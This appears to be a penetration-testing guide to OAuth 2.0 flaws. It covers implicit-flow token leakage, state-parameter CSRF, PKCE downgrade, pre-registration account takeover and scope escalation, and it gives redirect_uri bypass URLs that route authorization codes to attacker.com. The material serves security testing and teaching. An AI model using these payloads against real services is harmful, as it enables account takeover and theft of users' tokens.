OAuth 2.0 Vulnerabilities: Stealing Tokens and Bypassing Authorization
OAuth 2.0 is the foundation of modern web authentication and authorization. Despite its widespread adoption, implementation flaws remain common and often lead to critical account takeovers. This guide covers the key attack vectors against OAuth 2.0, with practical exploitation techniques for bug bounty hunters and penetration testers.
OAuth 2.0 Flow Overview
| Vulnerability | OAuth Flow | Impact | Test Approach | CVSS |
|---|---|---|---|---|
| state parameter missing | Authorization Code | CSRF on OAuth flow | Remove state param | High |
| open redirect in redirect_uri | Any | Account takeover | Modify redirect_uri | Critical |
| Authorization code interception | Auth Code | Token theft | Referrer/log exposure | Critical |
| implicit flow token leakage | Implicit | Token in URL/Referer | Check URL fragments | High |
| Token scope escalation | Any | Privilege escalation | Modify scope parameter | High |
| PKCE bypass | Auth Code + PKCE | Code reuse | Replay code without verifier | High |
| JWT as access token - alg:none | Any JWT-based | Full auth bypass | Set alg to none | Critical |
The authorization code flow (most common and secure):
- Client redirects user to authorization server with
client_id,redirect_uri,scope, andstate - User authenticates and grants permissions
- Authorization server redirects to
redirect_uriwith an authorizationcode - Client exchanges
codeforaccess_token(server-to-server, code kept secret) - Client uses
access_tokento access protected resources
The implicit grant flow (deprecated but still used) skips step 4 and returns the token directly in the URL fragment.
Implicit Grant Token Leakage
In the implicit flow, the access token appears in the URL fragment:
https://app.com/callback#access_token=ya29.example&token_type=bearer
This token can leak via:
- Browser history (fragment is stored)
- Referer header to embedded third-party resources (images, analytics scripts)
- JavaScript on the callback page with access to
location.hash - Server logs if the server processes fragment-containing URLs
Referer-Based Token Theft
// On the callback page receiving the token in the fragment
// If the page loads any external resource, the Referer header may expose the token
// Look for patterns like:
<img src="https://analytics.example.com/track">
// Will send: Referer: https://app.com/callback#access_token=ya29.example
CSRF on the Authorization Endpoint
Without a validated state parameter, the authorization endpoint is vulnerable to CSRF. An attacker can initiate an OAuth flow using their own authorization code, tricking the victim into linking the attacker's account identity:
<!-- Attacker initiates OAuth flow with their account -->
<!-- Captures the authorization code assigned to their account -->
<!-- Before exchanging it, tricks victim into visiting: -->
https://app.com/oauth/callback?code=ATTACKER_CODE&state=MISSING_OR_STATIC
<!-- App exchanges attacker's code and links attacker's identity to victim's session -->
<!-- Attacker can now log in as victim by initiating the same OAuth flow -->
Open Redirect in redirect_uri
The redirect_uri parameter determines where the authorization code is sent. If validation is weak, an attacker can redirect the code to a controlled server.
Path Traversal Bypass
# Registered redirect_uri: https://app.com/callback
# Bypass attempts:
https://app.com/callback/../attacker-path
https://app.com/callback%2f..%2fattacker-path
https://app.com/callback?next=https://attacker.com/steal
Domain Suffix Bypass
# If validation checks "starts with" the registered domain:
https://app.com.attacker.com/callback
# If validation allows subdomains:
https://attacker.app.com/callback
# If validation uses regex without anchoring:
# Registered: app\.com
# Bypass: appXcom.attacker.com
Open Redirect Chaining
If the application has an open redirect vulnerability, chain it with OAuth:
redirect_uri=https://app.com/redirect?url=https://attacker.com/steal
The authorization server validates app.com domain, code is sent there, then the open redirect forwards it to the attacker. See our Open Redirect Exploitation Guide for bypass techniques.
State Parameter Bypass
The state parameter prevents CSRF and ties the authorization response to the initiating request. Weaknesses to test:
- Missing state — No CSRF protection at all
- Predictable state — Sequential numbers, timestamps, or static values
- State not validated — Parameter accepted but never checked server-side
- State reuse — Same state token accepted multiple times
# Test: Submit the callback with a different state value
GET /oauth/callback?code=AUTH_CODE&state=WRONG_VALUE HTTP/1.1
# If the application still exchanges the code, state validation is broken
PKCE Bypass
Proof Key for Code Exchange (PKCE) prevents authorization code interception attacks in public clients. It involves a code_verifier and code_challenge pair. Bypass scenarios:
Downgrade Attack
# If the server doesn't require PKCE for all clients:
# Initiate flow without code_challenge parameter
GET /authorize?response_type=code&client_id=CLIENT&redirect_uri=URI
# (no code_challenge parameter)
# If server accepts and issues a code without PKCE:
# Exchange it without code_verifier
POST /token
grant_type=authorization_code&code=AUTH_CODE&redirect_uri=URI
Plain Method Downgrade
# S256 is secure, plain is not (verifier == challenge)
# If server accepts plain method:
code_challenge_method=plain&code_challenge=KNOWN_VALUE
# Attacker can brute-force or guess the verifier
Account Takeover via OAuth
Pre-Authentication Account Linking
# Scenario: App allows linking Google OAuth to existing accounts
# Attack:
# 1. Register account with victim's email address (before victim does)
# 2. Victim logs in via Google OAuth (email matches existing account)
# 3. App links Google identity to attacker-registered account
# 4. Attacker can now log in as victim via Google
Token Scope Escalation
Test whether the application enforces scope restrictions on the access token:
# Authorized with read scope, attempt write operations:
POST /api/users/settings
Authorization: Bearer READ_ONLY_TOKEN
{"email": "[email protected]"}
Testing Checklist
- Map all OAuth flows in the application (login, account linking, third-party integrations)
- Verify state parameter existence, randomness, and server-side validation
- Test redirect_uri with path traversal, subdomains, and open redirect chaining
- Check for PKCE requirements and downgrade possibilities
- Test implicit flow for token leakage via Referer
- Attempt pre-authentication account linking attacks
- Verify scope enforcement on access tokens
OAuth CSRF issues complement general CSRF Bypass Techniques. For JWT-based OAuth tokens, see our JWT Attacks Guide. Open redirect vulnerabilities that enable OAuth token theft are detailed in our Open Redirect Exploitation Guide.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides